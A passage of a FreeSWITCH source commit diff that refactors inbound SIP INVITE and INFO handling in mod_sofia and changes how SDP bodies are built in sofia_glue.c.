+		if (alert_info) {
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Alert-Info", sip_header_as_string(nua_handle_home(nh), (void *) alert_info));
+		}
+
+
+		if (sip->sip_payload && sip->sip_payload->pl_data) {
+			switch_event_add_body(event, "%s", sip->sip_payload->pl_data);
+		}
+
+		switch_event_fire(&event);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "dispatched freeswitch event for INFO\n");
+	}
+
+	nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
+
 	return;
 
-  fail:
-	nua_respond(nh, 488, "Unsupported Request", NUTAG_WITH_THIS(nua), TAG_END());
 }
 
 #define url_set_chanvars(session, url, varprefix) _url_set_chanvars(session, url, #varprefix "_user", #varprefix "_host", #varprefix "_port", #varprefix "_uri", #varprefix "_params")
@@ -3739,6 +4517,7 @@
 	sip_p_preferred_identity_t *ppreferred = NULL;
 	sip_privacy_t *privacy = NULL;
 	sip_alert_info_t *alert_info = NULL;
+	sip_call_info_t *call_info = NULL;
 	private_object_t *tech_pvt = NULL;
 	switch_channel_t *channel = NULL;
 	const char *channel_name = NULL;
@@ -3753,26 +4532,33 @@
 	uint32_t sess_count = switch_core_session_count();
 	uint32_t sess_max = switch_core_session_limit(0);
 	int is_auth = 0, calling_myself = 0;
-	su_addrinfo_t *my_addrinfo = msg_addrinfo(nua_current_request(nua));
 	int network_port = 0;
 	char *is_nat = NULL;
-	char *acl_token = NULL;
+	char acl_token[512] = "";
+	sofia_transport_t transport;
 
-	if (sess_count >= sess_max || !(profile->pflags & PFLAG_RUNNING)) {
+	profile->ib_calls++;
+
+	if (sess_count >= sess_max || !sofia_test_pflag(profile, PFLAG_RUNNING)) {
 		nua_respond(nh, 503, "Maximum Calls In Progress", SIPTAG_RETRY_AFTER_STR("300"), TAG_END());
-		return;
+		goto fail;
 	}
 
 	if (!sip || !sip->sip_request || !sip->sip_request->rq_method_name) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Received an invalid packet!\n");
 		nua_respond(nh, SIP_503_SERVICE_UNAVAILABLE, TAG_END());
-		return;
+		goto fail;
 	}
 
-	get_addr(network_ip, sizeof(network_ip), my_addrinfo->ai_addr, my_addrinfo->ai_addrlen);
-	network_port = ntohs(((struct sockaddr_in *) msg_addrinfo(nua_current_request(nua))->ai_addr)->sin_port);
+	if (!(sip->sip_contact && sip->sip_contact->m_url)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "NO CONTACT!\n");
+		nua_respond(nh, 400, "Missing Contact Header", TAG_END());
+		goto fail;
+	}
 
-	if ((profile->pflags & PFLAG_AGGRESSIVE_NAT_DETECTION)) {
+	sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &network_port);
+
+	if (sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION)) {
 		if (sip && sip->sip_via) {
 			const char *port = sip->sip_via->v_port;
 			const char *host = sip->sip_via->v_host;
@@ -3826,18 +4612,18 @@
 
 		if (ok) {
 			if (token) {
-				acl_token = strdup(token);
+				switch_set_string(acl_token, token);
 			}
-			if ((profile->pflags & PFLAG_AUTH_CALLS)) {
+			if (sofia_test_pflag(profile, PFLAG_AUTH_CALLS)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "IP %s Approved by acl \"%s[%s]\". Access Granted.\n",
-								  network_ip, switch_str_nil(last_acl), switch_str_nil(acl_token));
+								  network_ip, switch_str_nil(last_acl), acl_token);
 				is_auth = 1;
 			}
 		} else {
-			if (!(profile->pflags & PFLAG_AUTH_CALLS)) {
+			if (!sofia_test_pflag(profile, PFLAG_AUTH_CALLS)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "IP %s Rejected by acl \"%s\"\n", network_ip, switch_str_nil(last_acl));
 				nua_respond(nh, SIP_403_FORBIDDEN, TAG_END());
-				return;
+				goto fail;
 			} else {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "IP %s Rejected by acl \"%s\". Falling back to Digest auth.\n",
 								  network_ip, switch_str_nil(last_acl));
@@ -3846,7 +4632,7 @@
 	}
 
 	if (!is_auth &&
-		((profile->pflags & PFLAG_AUTH_CALLS) || (!(profile->pflags & PFLAG_BLIND_AUTH) && (sip->sip_proxy_authorization || sip->sip_authorization)))) {
+		(sofia_test_pflag(profile, PFLAG_AUTH_CALLS) || (!sofia_test_pflag(profile, PFLAG_BLIND_AUTH) && (sip->sip_proxy_authorization || sip->sip_authorization)))) {
 		if (!strcmp(network_ip, profile->sipip) && network_port == profile->sip_port) {
 			calling_myself++;
 		} else {
@@ -3854,36 +4640,35 @@
 				if (v_event) {
 					switch_event_destroy(&v_event);
 				}
+				
+				if (sip->sip_authorization || sip->sip_proxy_authorization) {
+					goto fail;
+				}
+
 				return;
 			}
 		}
 		is_auth++;
 	}
 
-	if (!(sip->sip_contact && sip->sip_contact->m_url)) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "NO CONTACT!\n");
-		nua_respond(nh, 400, "Missing Contact Header", TAG_END());
-		return;
-	}
-
 	if (sofia_endpoint_interface) {
-		if (profile->pflags & PFLAG_CALLID_AS_UUID) {
-			session = switch_core_session_request_uuid(sofia_endpoint_interface, NULL, sip->sip_call_id->i_id);
+		if (sofia_test_pflag(profile, PFLAG_CALLID_AS_UUID)) {
+			session = switch_core_session_request_uuid(sofia_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL, sip->sip_call_id->i_id);
 		} else {
-			session = switch_core_session_request(sofia_endpoint_interface, NULL);
+			session = switch_core_session_request(sofia_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL);
 		}
 	}
 
 	if (!session) {
 		nua_respond(nh, 503, "Maximum Calls In Progress", SIPTAG_RETRY_AFTER_STR("300"), TAG_END());
-		return;
+		goto fail;
 	}
 
 	if (!(tech_pvt = (private_object_t *) switch_core_session_alloc(session, sizeof(private_object_t)))) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Hey where is my memory pool?\n");
 		nua_respond(nh, SIP_503_SERVICE_UNAVAILABLE, TAG_END());
 		switch_core_session_destroy(&session);
-		return;
+		goto fail;
 	}
 
 
@@ -3895,7 +4680,7 @@
 
 	channel = tech_pvt->channel = switch_core_session_get_channel(session);
 
-	if (acl_token) {
+	if (*acl_token) {
 		switch_channel_set_variable(channel, "acl_token", acl_token);
 		if (strchr(acl_token, '@')) {
 			if (switch_ivr_set_user(session, acl_token) == SWITCH_STATUS_SUCCESS) {
@@ -3904,15 +4689,14 @@
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Error Authenticating user %s\n", acl_token);
 			}
 		}
-		free(acl_token);
-		acl_token = NULL;
 	}
 
 	if (sip->sip_contact && sip->sip_contact->m_url) {
 		char tmp[35] = "";
-		sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
+		const char *ipv6 = strchr(tech_pvt->remote_ip, ':');
 
-		const char *ipv6 = strchr(tech_pvt->remote_ip, ':');
+		transport = sofia_glue_url2transport(sip->sip_contact->m_url);
+
 		tech_pvt->record_route =
 			switch_core_session_sprintf(session,
 			"sip:%s@%s%s%s:%d;transport=%s",
@@ -3985,29 +4769,46 @@
 
 	if ((rpid = sip_remote_party_id(sip))) {
 		if (rpid->rpid_url && rpid->rpid_url->url_user) {
+			char *full_rpid_header = sip_header_as_string(nh->nh_home, (void *) rpid); 
 			from_user = rpid->rpid_url->url_user;
+			if (!switch_strlen_zero(full_rpid_header)) {
+				switch_channel_set_variable(channel, "sip_Remote-Party-ID", full_rpid_header);
+			}
+
 		}
 		if (!switch_strlen_zero(rpid->rpid_display)) {
 			displayname = rpid->rpid_display;
 		}
+		switch_channel_set_variable(channel, "sip_cid_type", "rpid");
 	}
 
 	if ((passerted = sip_p_asserted_identity(sip))) {
 		if (passerted->paid_url && passerted->paid_url->url_user) {
+			char *full_paid_header = sip_header_as_string(nh->nh_home, (void *) passerted);
 			from_user = passerted->paid_url->url_user;
+			if (!switch_strlen_zero(full_paid_header)) {
+				switch_channel_set_variable(channel, "sip_P-Asserted-Identity", from_user);
+			}
 		}
 		if (!switch_strlen_zero(passerted->paid_display)) {
 			displayname = passerted->paid_display;
 		}
+		switch_channel_set_variable(channel, "sip_cid_type", "pid");
 	}
 
 	if ((ppreferred = sip_p_preferred_identity(sip))) {
 		if (ppreferred->ppid_url && ppreferred->ppid_url->url_user) {
+			char *full_ppid_header = sip_header_as_string(nh->nh_home, (void *) ppreferred);
 			from_user = ppreferred->ppid_url->url_user;
+			if (!switch_strlen_zero(full_ppid_header)) {
+				switch_channel_set_variable(channel, "sip_P-Preferred-Identity", full_ppid_header);
+			}
+			
 		}
 		if (!switch_strlen_zero(ppreferred->ppid_display)) {
 			displayname = ppreferred->ppid_display;
 		}
+		switch_channel_set_variable(channel, "sip_cid_type", "pid");
 	}
 
 	if (from_user) {
@@ -4016,18 +4817,29 @@
 
 	if (sip->sip_request->rq_url) {
 		const char *req_uri = url_set_chanvars(session, sip->sip_request->rq_url, sip_req);
-		if (profile->pflags & PFLAG_FULL_ID) {
+		if (sofia_test_pflag(profile, PFLAG_FULL_ID)) {
 			destination_number = req_uri;
 		} else {
 			destination_number = sip->sip_request->rq_url->url_user;
 		}
+		if (sip->sip_request->rq_url->url_params && (sofia_glue_find_parameter(sip->sip_request->rq_url->url_params, "intercom=true"))) {
+			switch_channel_set_variable(channel, "sip_auto_answer_detected", "true");
+		}
+	}
+
+	if (!destination_number && sip->sip_to && sip->sip_to->a_url) {
+		destination_number = sip->sip_to->a_url->url_user;
+	}
+	
+	if (destination_number) {
 		check_decode(destination_number, session);
+	} else {
+		destination_number = "service";
 	}
-
+	
 	if (sip->sip_to && sip->sip_to->a_url) {
 		const char *host, *user;
 		int port;
-		sofia_transport_t transport;
 		url_t *transport_url;
 
 		if (sip->sip_record_route && sip->sip_record_route->r_url) {
@@ -4042,7 +4854,8 @@
 		url_set_chanvars(session, sip->sip_to->a_url, sip_to);
 		if (switch_channel_get_variable(channel, "sip_to_uri")) {
 			const char *ipv6;
-
+			const char *tmp, *at, *url = NULL;
+			
 			host = switch_channel_get_variable(channel, "sip_to_host");
 			user = switch_channel_get_variable(channel, "sip_to_user");
 
@@ -4067,39 +4880,61 @@
 					port,
 					sofia_glue_transport2str(transport));
 
-			if (profile->ndlb & PFLAG_NDLB_TO_IN_200_CONTACT) {
-				if (strchr(tech_pvt->to_uri, '>')) {
-					tech_pvt->reply_contact = tech_pvt->to_uri;
-				} else {
-					tech_pvt->reply_contact = switch_core_session_sprintf(session, "<%s>", tech_pvt->to_uri);
-				}
+			if (sofia_glue_check_nat(profile, tech_pvt->remote_ip)) {
+				url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_public_url : profile->public_url;
+			} else { 
+				url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_url : profile->url;
+			}			
+			
+			tmp = sofia_overcome_sip_uri_weakness(session, url, transport, SWITCH_TRUE, NULL);
+	
+			if ((at = strchr(tmp, '@'))) {
+				url = switch_core_session_sprintf(session, "sip:%s%s", user, at);
+			}
+
+			if (url) {
+				const char *brackets = NULL;
+				const char *proto = NULL;
+				
+				brackets = strchr(url, '>');
+				proto = switch_stristr("transport=", url);
+				tech_pvt->reply_contact = switch_core_session_sprintf(session, "%s%s%s%s%s",
+																	  brackets ? "" : "<", url,
+																	  proto ? "" : ";transport=",
+																	  proto ? "" : sofia_glue_transport2str(transport),
+																	  brackets ? "" : ">");
 			} else {
-				const char *url;
-
-				if ((url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_url : profile->url)) {
-					if (strchr(url, '>')) {
-						tech_pvt->reply_contact = switch_core_session_sprintf(session, "%s;transport=%s", url, sofia_glue_transport2str(transport));
-					} else {
-						tech_pvt->reply_contact = switch_core_session_sprintf(session, "<%s;transport=%s>", url, sofia_glue_transport2str(transport));
-					}
-				} else {
-					switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
-				}
+				switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 			}
+			
 		} else {
-			const char *url;
-
-			if ((url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_url : profile->url)) {
-				if (strchr(url, '>')) {
-					tech_pvt->reply_contact = switch_core_session_sprintf(session, "%s;transport=%s", url, sofia_glue_transport2str(transport));
-				} else {
-					tech_pvt->reply_contact = switch_core_session_sprintf(session, "<%s;transport=%s>", url, sofia_glue_transport2str(transport));
-				}
+			const char *url = NULL;
+			if (sofia_glue_check_nat(profile, tech_pvt->remote_ip)) {
+			url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_public_url : profile->public_url;
+			} else { 
+				url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_url : profile->url;
+			}			
+			
+			if (url) {
+				const char *brackets = NULL;
+				const char *proto = NULL;
+				
+				brackets = strchr(url, '>');
+				proto = switch_stristr("transport=", url);
+				tech_pvt->reply_contact = switch_core_session_sprintf(session, "%s%s%s%s%s",
+																	  brackets ? "" : "<", url,
+																	  proto ? "" : ";transport=",
+																	  proto ? "" : sofia_glue_transport2str(transport),
+																	  brackets ? "" : ">");
 			} else {
 				switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 			}
 		}
 	}
+	
+	if (sofia_glue_check_nat(profile, tech_pvt->remote_ip)) {
+		tech_pvt->user_via = sofia_glue_create_external_via(session, profile, tech_pvt->transport);
+	}
 
 	if (sip->sip_contact && sip->sip_contact->m_url) {
 		const char *contact_uri = url_set_chanvars(session, sip->sip_contact->m_url, sip_contact);
@@ -4135,11 +4970,11 @@
 
 	switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "INBOUND CALL");
 
-	if (switch_test_flag(tech_pvt, TFLAG_INB_NOMEDIA)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_INB_NOMEDIA)) {
 		switch_channel_set_flag(channel, CF_PROXY_MODE);
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_PROXY_MEDIA)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_PROXY_MEDIA)) {
 		switch_channel_set_flag(channel, CF_PROXY_MEDIA);
 	}
 
@@ -4174,20 +5009,6 @@
 		switch_channel_set_variable(channel, SWITCH_MAX_FORWARDS_VARIABLE, max_forwards);
 	}
 
-	if (sip->sip_request->rq_url) {
-		sofia_gateway_t *gateway;
-		char *from_key;
-		char *user = (char *) sip->sip_request->rq_url->url_user;
-		check_decode(user, session);
-		from_key = switch_core_session_sprintf(session, "sip:%s@%s", user, sip->sip_request->rq_url->url_host);
-
-		if ((gateway = sofia_reg_find_gateway(from_key))) {
-			context = gateway->register_context;
-			switch_channel_set_variable(channel, "sip_gateway", gateway->name);
-			sofia_reg_release_gateway(gateway);
-		}
-	}
-
 	if (!context) {
 		context = switch_channel_get_variable(channel, "user_context");
 	}
@@ -4210,6 +5031,15 @@
 		su_free(profile->home, tmp);
 	}
 
+	if ((call_info = sip_call_info(sip))) {
+		char *tmp = sip_header_as_string(profile->home, (void *) call_info);
+		if (call_info->ci_params && (msg_params_find(call_info->ci_params , "answer-after=0"))) {
+			switch_channel_set_variable(channel, "sip_auto_answer_detected", "true");
+		}
+		switch_channel_set_variable(channel, "sip_call_info", tmp);
+		su_free(profile->home, tmp);
+	}
+
 	if (profile->pres_type) {
 		const char *user = switch_str_nil(sip->sip_from->a_url->url_user);
 		const char *host = switch_str_nil(sip->sip_from->a_url->url_host);
@@ -4220,6 +5050,106 @@
 		free(tmp);
 	}
 
+
+	if (strstr(destination_number, "gw+")) {
+		const char *gw_name = destination_number + 3;
+		sofia_gateway_t *gateway;
+		if (gw_name && (gateway = sofia_reg_find_gateway(gw_name))) {
+			context = switch_core_session_strdup(session, gateway->register_context);
+			switch_channel_set_variable(channel, "sip_gateway", gateway->name);
+
+			if (gateway->extension) {
+				destination_number = switch_core_session_strdup(session, gateway->extension);
+			}
+
+			gateway->ib_calls++;
+
+			if (gateway->ib_vars) {
+				switch_event_header_t *hp;
+				for(hp = gateway->ib_vars->headers; hp; hp = hp->next) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s setting variable [%s]=[%s]\n",
+									  switch_channel_get_name(channel), hp->name, hp->value);
+					switch_channel_set_variable(channel, hp->name, hp->value);
+				}
+			}
+
+			sofia_reg_release_gateway(gateway);
+		}
+	}
+
+	if (sip->sip_replaces) {
+		nua_handle_t *bnh;
+		if ((bnh = nua_handle_by_replaces(nua, sip->sip_replaces))) {
+			sofia_private_t *b_private = NULL;
+			if ((b_private = nua_handle_magic(bnh))) {
+				switch_core_session_t *b_session = NULL;
+				if ((b_session = switch_core_session_locate(b_private->uuid))) {
+					switch_channel_t *b_channel = switch_core_session_get_channel(b_session);
+					const char *uuid;
+					int one_leg = 1;
+					private_object_t *b_tech_pvt = NULL;
+					const char *app = switch_channel_get_variable(b_channel, SWITCH_CURRENT_APPLICATION_VARIABLE);
+					const char *data = switch_channel_get_variable(b_channel, SWITCH_CURRENT_APPLICATION_DATA_VARIABLE);
+					
+					if (app && data && !strcasecmp(app, "conference")) {
+						destination_number = switch_core_session_sprintf(b_session, "answer,conference:%s", data);
+						dialplan = "inline";
+					} else {
+						if (switch_core_session_check_interface(b_session, sofia_endpoint_interface)) {
+							b_tech_pvt = switch_core_session_get_private(b_session);
+						}
+
+						if ((uuid = switch_channel_get_variable(b_channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
+							one_leg = 0;
+						} else {
+							uuid = switch_core_session_get_uuid(b_session);
+						}
+					
+						if (uuid) {
+							switch_core_session_t *c_session = NULL;
+							int do_conf = 0;					
+						
+							uuid = switch_core_session_strdup(b_session, uuid);
+
+							if ((c_session = switch_core_session_locate(uuid))) {
+								switch_channel_t *c_channel = switch_core_session_get_channel(c_session);
+								private_object_t *c_tech_pvt = NULL;
+					
+								if (switch_core_session_check_interface(c_session, sofia_endpoint_interface)) {
+									c_tech_pvt = switch_core_session_get_private(c_session);
+								}
+								
+
+								if (!one_leg && 
+									(!b_tech_pvt || !sofia_test_flag(b_tech_pvt, TFLAG_SIP_HOLD)) && 
+									(!c_tech_pvt || !sofia_test_flag(c_tech_pvt, TFLAG_SIP_HOLD))) {
+									char *ext = switch_core_session_sprintf(b_session, "conference:%s@sla+flags{mintwo}", uuid);
+								
+									switch_channel_set_flag(c_channel, CF_REDIRECT);
+									switch_ivr_session_transfer(b_session, ext, "inline", NULL);
+									switch_ivr_session_transfer(c_session, ext, "inline", NULL);
+									switch_channel_clear_flag(c_channel, CF_REDIRECT);
+									do_conf = 1;
+								}
+								switch_core_session_rwunlock(c_session);
+							}
+						
+							if (do_conf) {
+								destination_number = switch_core_session_sprintf(b_session, "answer,conference:%s@sla+flags{mintwo}", uuid);
+							} else {
+								destination_number = switch_core_session_sprintf(b_session, "answer,intercept:%s", uuid);
+							}
+
+							dialplan = "inline";
+						}
+					}
+					switch_core_session_rwunlock(b_session);
+				}
+			}
+			nua_handle_unref(bnh);
+		}
+	}
+
 	check_decode(displayname, session);
 	tech_pvt->caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
 														 from_user,
@@ -4250,7 +5180,11 @@
 		}
 
 		if ((privacy = sip_privacy(sip))) {
-			if(msg_params_find(privacy->priv_values, "id")) {
+			char *full_priv_header = sip_header_as_string(nh->nh_home, (void *) privacy); 
+			if (!switch_strlen_zero(full_priv_header)) {
+				switch_channel_set_variable(channel, "sip_Privacy", full_priv_header);
+			}
+			if (msg_params_find(privacy->priv_values, "id")) {
 				switch_set_flag(tech_pvt->caller_profile, SWITCH_CPF_HIDE_NAME | SWITCH_CPF_HIDE_NUMBER);
 			}
 		}
@@ -4294,7 +5228,7 @@
 		
 		switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
 	}
-
+	
 	if (!(sofia_private = malloc(sizeof(*sofia_private)))) {
 		abort();
 	}
@@ -4364,7 +5298,7 @@
 		}
 
 		if (is_nat) {
-			switch_set_flag(tech_pvt, TFLAG_NAT);
+			sofia_set_flag(tech_pvt, TFLAG_NAT);
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Setting NAT mode based on %s\n", is_nat);
 			switch_channel_set_variable(channel, "sip_nat_detected", "true");
 		}
@@ -4389,9 +5323,15 @@
 	}
 
 	nua_handle_bind(nh, NULL);
-	free(sofia_private);
+	sofia_private_free(sofia_private);
 	switch_core_session_destroy(&session);
 	nua_respond(nh, 503, "Maximum Calls In Progress", SIPTAG_RETRY_AFTER_STR("300"), TAG_END());
+	return;
+
+ fail:
+	profile->ib_failed_calls++;
+	return;
+
 }
 
 void sofia_handle_sip_i_options(int status,
@@ -4410,26 +5350,33 @@
 		switch_channel_t *channel = switch_core_session_get_channel(bleg);
 		const char *ua = switch_channel_get_variable(channel, "sip_user_agent");
 		
-		if (ua && switch_stristr("cisco", ua)) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "If you were using some other phone besides a Cisco, we would have updated the caller id display on your phone for you!\n");
-			return;
-		}
-
 		a_tech_pvt = (private_object_t *) switch_core_session_get_private(aleg);
 		b_tech_pvt = (private_object_t *) switch_core_session_get_private(bleg);
 
 		if (b_tech_pvt && a_tech_pvt && a_tech_pvt->caller_profile) {
 			switch_caller_profile_t *acp = a_tech_pvt->caller_profile;
-
-			if (switch_strlen_zero(acp->caller_id_name)) {
-				snprintf(message, sizeof(message), "From:\r\nTo: %s\r\n", acp->caller_id_number);
-			} else {
-				snprintf(message, sizeof(message), "From:\r\nTo: \"%s\" %s\r\n", acp->caller_id_name, acp->caller_id_number);
+			
+			if (ua && switch_stristr("snom", ua)) {
+				if (switch_strlen_zero(acp->caller_id_name)) {
+					snprintf(message, sizeof(message), "From:\r\nTo: %s\r\n", acp->caller_id_number);
+				} else {
+					snprintf(message, sizeof(message), "From:\r\nTo: \"%s\" %s\r\n", acp->caller_id_name, acp->caller_id_number);
+				}
+				nua_info(b_tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/sipfrag"), SIPTAG_PAYLOAD_STR(message), TAG_END());
+			} else if (ua && switch_stristr("polycom", ua)) {
+				if (switch_strlen_zero(acp->caller_id_name)) {
+					snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <%s>", acp->caller_id_number, acp->caller_id_number);
+				} else {
+					snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <%s>", acp->caller_id_name, acp->caller_id_number);
+				}
+				nua_update(b_tech_pvt->nh,
+						   TAG_IF(!switch_strlen_zero_buf(message), SIPTAG_HEADER_STR(message)),
+						   TAG_END());
 			}
-			nua_info(b_tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/sipfrag"), SIPTAG_PAYLOAD_STR(message), TAG_END());
 		}
 	}
 }
+
 /*
  * This subroutine will take the a_params of a sip_addr_s structure and spin through them.
  * Each param will be used to create a channel variable.

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_glue.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_glue.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_glue.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,16 +17,17 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Ken Rice, Asteria Solutions Group, Inc <ken@asteriasgi.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  * Bret McDanel <trixter AT 0xdecafbad.com>
+ * Eliot Gable <egable AT.AT broadvox.com>
  *
  *
  * sofia_glue.c -- SOFIA SIP Endpoint (code to tie sofia to freeswitch)
@@ -35,12 +36,14 @@
 #include "mod_sofia.h"
 #include <switch_stun.h>
 
+
 void sofia_glue_set_image_sdp(private_object_t *tech_pvt, switch_t38_options_t *t38_options)
 {
 	char buf[2048];
 	const char *ip = t38_options->ip;
 	uint32_t port = t38_options->port;
 	const char *family = "IP4";
+	const char *username = tech_pvt->profile->username;
 
 	if (!ip) {
 		if (!(ip = tech_pvt->adv_sdp_audio_ip)) {
@@ -55,7 +58,7 @@
 	}
 
 	if (!tech_pvt->owner_id) {
-		tech_pvt->owner_id = (uint32_t) switch_timestamp(NULL) - port;
+		tech_pvt->owner_id = (uint32_t) switch_epoch_time_now(NULL) - port;
 	}
 
 	if (!tech_pvt->session_id) {
@@ -67,8 +70,8 @@
 	family = strchr(ip, ':') ? "IP6" : "IP4";
 	switch_snprintf(buf, sizeof(buf),
 					"v=0\n"
-					"o=FreeSWITCH %010u %010u IN %s %s\n"
-					"s=FreeSWITCH\n"
+					"o=%s %010u %010u IN %s %s\n"
+					"s=%s\n"
 					"c=IN %s %s\n" 
 					"t=0 0\n"
 					"m=image %d udptl t38\n"
@@ -82,10 +85,12 @@
 					"a=T38FaxUdpEC:%s\n"
 					"a=T38VendorInfo:%s\n",
 					
+					username,
 					tech_pvt->owner_id, 
 					tech_pvt->session_id,
 					family,
 					ip,
+					username,
 					family,
 					ip,
 					port,
@@ -101,8 +106,7 @@
 					t38_options->T38VendorInfo
 					);
 	
-	
-	tech_pvt->local_sdp_str = switch_core_session_strdup(tech_pvt->session, buf);
+	sofia_glue_tech_set_local_sdp(tech_pvt, buf, SWITCH_TRUE);
 }
 
 void sofia_glue_set_local_sdp(private_object_t *tech_pvt, const char *ip, uint32_t port, const char *sr, int force)
@@ -116,6 +120,9 @@
 	const char *family;
 	const char *pass_fmtp = switch_channel_get_variable(tech_pvt->channel, "sip_video_fmtp");
 	const char *ov_fmtp = switch_channel_get_variable(tech_pvt->channel, "sip_force_video_fmtp");
+	char srbuf[128] = "";
+	const char *var_val;
+	const char *username = tech_pvt->profile->username;
 
 	if (sofia_test_pflag(tech_pvt->profile, PFLAG_SUPPRESS_CNG) ||
 		((val = switch_channel_get_variable(tech_pvt->channel, "supress_cng")) && switch_true(val)) ||
@@ -145,7 +152,7 @@
 	}
 
 	if (!tech_pvt->owner_id) {
-		tech_pvt->owner_id = (uint32_t) switch_timestamp(NULL) - port;
+		tech_pvt->owner_id = (uint32_t) switch_epoch_time_now(NULL) - port;
 	}
 
 	if (!tech_pvt->session_id) {
@@ -154,16 +161,25 @@
 
 	tech_pvt->session_id++;
 
+	if ((tech_pvt->profile->ndlb & PFLAG_NDLB_SENDRECV_IN_SESSION) || 
+		((var_val=switch_channel_get_variable(tech_pvt->channel, "ndlb_sendrecv_in_session")) && switch_true(var_val))) {
+		switch_snprintf(srbuf, sizeof(srbuf), "a=%s\n", sr);
+		sr = NULL;
+	}
+	
 	family = strchr(ip, ':') ? "IP6" : "IP4";
 	switch_snprintf(buf, sizeof(buf),
 					"v=0\n"
-					"o=FreeSWITCH %010u %010u IN %s %s\n"
-					"s=FreeSWITCH\n"
+					"o=%s %010u %010u IN %s %s\n"
+					"s=%s\n"
 					"c=IN %s %s\n" "t=0 0\n"
-					"m=audio %d RTP/%sAVP", 
-					tech_pvt->owner_id, tech_pvt->session_id, family, ip, family, ip, port,
+					"%sm=audio %d RTP/%sAVP",
+					username,
+					tech_pvt->owner_id, tech_pvt->session_id, family, ip, username, family, ip, 
+					srbuf,
+					port,
 					(!switch_strlen_zero(tech_pvt->local_crypto_key) 
-					&& switch_test_flag(tech_pvt,TFLAG_SECURE)) ? "S" : "");
+					&& sofia_test_flag(tech_pvt,TFLAG_SECURE)) ? "S" : "");
 
 	if (tech_pvt->rm_encoding) {
 		switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), " %d", tech_pvt->pt);
@@ -196,7 +212,7 @@
 		switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), " %d", tech_pvt->te);
 	}
 
-	if (!(tech_pvt->profile->pflags & PFLAG_SUPPRESS_CNG) && tech_pvt->cng_pt && use_cng) {
+	if (!sofia_test_pflag(tech_pvt->profile, PFLAG_SUPPRESS_CNG) && tech_pvt->cng_pt && use_cng) {
 		switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), " %d", tech_pvt->cng_pt);
 	}
 
@@ -243,7 +259,7 @@
 	if (tech_pvt->dtmf_type == DTMF_2833 && tech_pvt->te > 95) {
 		switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=rtpmap:%d telephone-event/8000\na=fmtp:%d 0-16\n", tech_pvt->te, tech_pvt->te);
 	}
-	if (!(tech_pvt->profile->pflags & PFLAG_SUPPRESS_CNG) && tech_pvt->cng_pt && use_cng) {
+	if (!sofia_test_pflag(tech_pvt->profile, PFLAG_SUPPRESS_CNG) && tech_pvt->cng_pt && use_cng) {
